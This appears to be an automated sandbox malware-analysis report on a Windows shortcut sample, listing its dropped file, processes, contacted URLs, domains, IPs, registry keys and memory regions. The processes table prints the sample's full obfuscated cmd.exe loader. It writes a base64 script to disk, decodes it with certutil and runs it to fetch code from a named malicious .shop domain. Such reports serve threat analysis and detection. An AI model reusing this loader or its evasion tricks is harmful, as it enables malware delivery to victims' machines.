Files
|
File Path
|
Type
|
Category
|
Malicious
|
|
|---|---|---|---|---|
|
uk231b27we.lnk
|
MS Windows shortcut, Item id list present, Has Working directory, Has command line arguments, Archive, ctime=Sun Dec 31 23:06:32
1600, mtime=Sun Dec 31 23:06:32 1600, atime=Sun Dec 31 23:06:32 1600, length=0, window=hidenormalshowminimized
|
initial sample
|
 |
|
|
C:\QxdHVBD\QxdHVBD.jS
|
ASCII text, with no line terminators
|
dropped
|
Processes
|
Path
|
Cmdline
|
Malicious
|
|
|---|---|---|---|
|
C:\Windows\System32\cmd.exe
|
C:\Windows\system32\cmd.exe /V/D/c md C:\QxdHVBD\>nul 2>&1 &&s^eT XECY=C:\QxdHVBD\^QxdHVBD.^jS&&echo dmFyIEMxOHA9InNjIisiciI7RDE4cD0iaXAiKyJ0OmgiO0UxOHA9IlQiKyJ0UCIrIjoiO0dldE9iamVjdChDMThwK0QxOHArRTE4cCsiLy9nd2FlOC5pbmR1c3RyeWluZmx1ZW5jZS5zaG9wLz8zLyIpOw==>!XECY!&&cErtUtil
-f -dEco^de !XECY! !XECY!&&ca^ll !XECY!
|
|
|
|
C:\Windows\System32\wscript.exe
|
"C:\Windows\System32\WScript.exe" "C:\QxdHVBD\QxdHVBD.jS"
|
|
|
|
C:\Windows\System32\certutil.exe
|
cErtUtil -f -dEcode C:\QxdHVBD\QxdHVBD.jS C:\QxdHVBD\QxdHVBD.jS
|
URLs
|
Name
|
IP
|
Malicious
|
|
|---|---|---|---|
|
http://gwae8.industryinfluence.shop/?3/
|
172.67.221.22
|
|
|
|
http://gwae8.industryinfluence.shop/b
|
unknown
|
||
|
hTtP://gwae8.industryinfluence.shop/?3/
|
unknown
|
||
|
https://www.cloudflare.com/cdn-cgi/errorZ
|
unknown
|
||
|
https://www.cloudflare.com/
|
unknown
|
||
|
https://www.cloudflare.com/cdn-cgi/error
|
104.16.124.96
|
||
|
http://gwae8.industryinfluence.shop/
|
unknown
|
||
|
https://www.cloudflare.com/cdn-cgi/error(
|
unknown
|
||
|
https://www.cloudflare.com/cdn-cgi/errorZ.4
|
unknown
|
||
|
https://www.cloudflare.com/cdn-cgi/error&
|
unknown
|
||
|
https://www.cloudflare.com/cdn-cgi/error2.L
|
unknown
|
||
|
https://www.cloudflare.com/~
|
unknown
|
There are 2 hidden URLs, click here to show them.
Domains
|
Name
|
IP
|
Malicious
|
|
|---|---|---|---|
|
gwae8.industryinfluence.shop
|
172.67.221.22
|
|
|
|
www.cloudflare.com
|
104.16.124.96
|
IPs
|
IP
|
Domain
|
Country
|
Malicious
|
|
|---|---|---|---|---|
|
172.67.221.22
|
gwae8.industryinfluence.shop
|
United States
|
|
|
|
104.16.124.96
|
www.cloudflare.com
|
United States
|
Registry
|
Path
|
Value
|
Malicious
|
|
|---|---|---|---|
|
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
|
LangID
|
||
|
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
|
C:\Windows\System32\WScript.exe.FriendlyAppName
|
||
|
HKEY_CURRENT_USER_Classes\Local Settings\Software\Microsoft\Windows\Shell\MuiCache
|
C:\Windows\System32\WScript.exe.ApplicationCompany
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.1!7
|
Name
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.2!7
|
Name
|
||
|
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography\OID\EncodingType 0\CryptDllFindOIDInfo\1.3.6.1.4.1.311.60.3.3!7
|
Name
|
Memdumps
|
Base Address
|
Regiontype
|
Protect
|
Malicious
|
|
|---|---|---|---|---|
|
29B8EFB7000
|
heap
|
page read and write
|
||
|
29B8EFC5000
|
heap
|
page read and write
|
||
|
29B8EFC4000
|
heap
|
page read and write
|
||
|
29B8EFBE000
|
heap
|
page read and write
|
||
|
29B90E13000
|
heap
|
page read and write
|
||
|
29B927B0000
|
heap
|
page read and write
|
||
|
130114A0000
|
heap
|
page read and write
|
||
|
29B8F0D0000
|
heap
|
page read and write
|
||
|
2DC8DDE000
|
stack
|
page read and write
|
||
|
130114F0000
|
heap
|
page read and write
|
||
|
29B8EFDE000
|
heap
|
page read and write
|
||
|
29B8EF3C000
|
heap
|
page read and write
|
||
|
CA225FF000
|
stack
|
page read and write
|
||
|
29B8EF38000
|
heap
|
page read and write
|
||
|
29B8EFB7000
|
heap
|
page read and write
|
||
|
29B8EF4D000
|
heap
|
page read and write
|
||
|
29B8EFE2000
|
heap
|
page read and write
|
||
|
CA223F9000
|
stack
|
page read and write
|
||
|
2DC8CDC000
|
stack
|
page read and write
|
||
|
29B8F0D5000
|
heap
|
page read and write
|
||
|
29B90DF0000
|
remote allocation
|
page read and write
|
||
|
13011248000
|
heap
|
page read and write
|
||
|
29B8EFC2000
|
heap
|
page read and write
|
||
|
29B8EFC4000
|
heap
|
page read and write
|
||
|
29B8EFE8000
|
heap
|
page read and write
|
||
|
29B8EF8D000
|
heap
|
page read and write
|
||
|
29B92920000
|
trusted library allocation
|
page read and write
|
||
|
29B8EFC8000
|
heap
|
page read and write
|
||
|
29B90C90000
|
heap
|
page read and write
|
||
|
29B8EFDB000
|
heap
|
page read and write
|
||
|
29B8EF18000
|
heap
|
page read and write
|
||
|
CA220FF000
|
stack
|
page read and write
|
||
|
130130D0000
|
heap
|
page read and write
|
||
|
29B8EF80000
|
heap
|
page read and write
|
||
|
29B8EFE8000
|
heap
|
page read and write
|
||
|
29B8EFC5000
|
heap
|
page read and write
|
||
|
29B8EFDF000
|
heap
|
page read and write
|
||
|
13011400000
|
heap
|
page read and write
|
||
|
29B90C95000
|
heap
|
page read and write
|
||
|
29B8EFDB000
|
heap
|
page read and write
|
||
|
29B8EF44000
|
heap
|
page read and write
|
||
|
2DC8D5E000
|
stack
|
page read and write
|
||
|
1301124C000
|
heap
|
page read and write
|
||
|
CA21EFE000
|
stack
|
page read and write
|
||
|
29B8EF8D000
|
heap
|
page read and write
|
||
|
13011210000
|
heap
|
page read and write
|
||
|
29B8EF4B000
|
heap
|
page read and write
|
||
|
29B8EDB0000
|
heap
|
page read and write
|
||
|
2DC907E000
|
stack
|
page read and write
|
||
|
29B8EFB7000
|
heap
|
page read and write
|
||
|
29B8EFE8000
|
heap
|
page read and write
|
||
|
29B8EF80000
|
heap
|
page read and write
|
||
|
29B90DF0000
|
heap
|
page read and write
|
||
|
29B8EF37000
|
heap
|
page read and write
|
||
|
29B8EF8D000
|
heap
|
page read and write
|
||
|
29B8EFD0000
|
heap
|
page read and write
|
||
|
29B8F0DE000
|
heap
|
page read and write
|
||
|
CA21DFE000
|
stack
|
page read and write
|
||
|
130114F5000
|
heap
|
page read and write
|
||
|
29B8F0A4000
|
heap
|
page read and write
|
||
|
29B8EFBE000
|
heap
|
page read and write
|
||
|
29B8EFD0000
|
heap
|
page read and write
|
||
|
CA224FF000
|
stack
|
page read and write
|
||
|
29B8EF10000
|
heap
|
page read and write
|
||
|
29B8EFB7000
|
heap
|
page read and write
|
||
|
130111A0000
|
heap
|
page read and write
|
||
|
29B8EFBE000
|
heap
|
page read and write
|
||
|
29B8EFBE000
|
heap
|
page read and write
|
||
|
29B90DF5000
|
heap
|
page read and write
|
||
|
29B8EFE8000
|
heap
|
page read and write
|
||
|
29B8EF68000
|
heap
|
page read and write
|
||
|
29B8EFD0000
|
heap
|
page read and write
|
||
|
29B8EF44000
|
heap
|
page read and write
|
||
|
29B8EF9D000
|
heap
|
page read and write
|
||
|
CA21916000
|
stack
|
page read and write
|
||
|
CA21CFE000
|
stack
|
page read and write
|
||
|
29B90DF0000
|
remote allocation
|
page read and write
|
||
|
29B8EF3C000
|
heap
|
page read and write
|
||
|
29B8EFD0000
|
heap
|
page read and write
|
||
|
29B8EF69000
|
heap
|
page read and write
|
||
|
29B90E19000
|
heap
|
page read and write
|
||
|
CA226FD000
|
stack
|
page read and write
|
||
|
29B8EF44000
|
heap
|
page read and write
|
||
|
29B8F010000
|
heap
|
page read and write
|
||
|
29B8EEF0000
|
heap
|
page read and write
|
||
|
29B8EFC5000
|
heap
|
page read and write
|
||
|
13011238000
|
heap
|
page read and write
|
||
|
29B8EFE2000
|
heap
|
page read and write
|
||
|
29B8EF80000
|
heap
|
page read and write
|
||
|
29B8EF8D000
|
heap
|
page read and write
|
||
|
CA222FE000
|
stack
|
page read and write
|
||
|
29B8EFE2000
|
heap
|
page read and write
|
||
|
29B8EFC8000
|
heap
|
page read and write
|
||
|
29B8EFE8000
|
heap
|
page read and write
|
||
|
29B90DF0000
|
remote allocation
|
page read and write
|
||
|
29B8EFBE000
|
heap
|
page read and write
|
||
|
29B8EFC2000
|
heap
|
page read and write
|
||
|
29B8EF80000
|
heap
|
page read and write
|
||
|
29B8EFC8000
|
heap
|
page read and write
|
||
|
29B8EFE8000
|
heap
|
page read and write
|
||
|
29B8EFC2000
|
heap
|
page read and write
|
||
|
29B90E19000
|
heap
|
page read and write
|
||
|
29B8EFB7000
|
heap
|
page read and write
|
||
|
29B8F0A0000
|
heap
|
page read and write
|
||
|
CA221FF000
|
stack
|
page read and write
|
||
|
29B8EF96000
|
heap
|
page read and write
|
||
|
13011230000
|
heap
|
page read and write
|
||
|
29B8EFD0000
|
heap
|
page read and write
|
||
|
29B8EF66000
|
heap
|
page read and write
|
There are 99 hidden memdumps, click here to show them.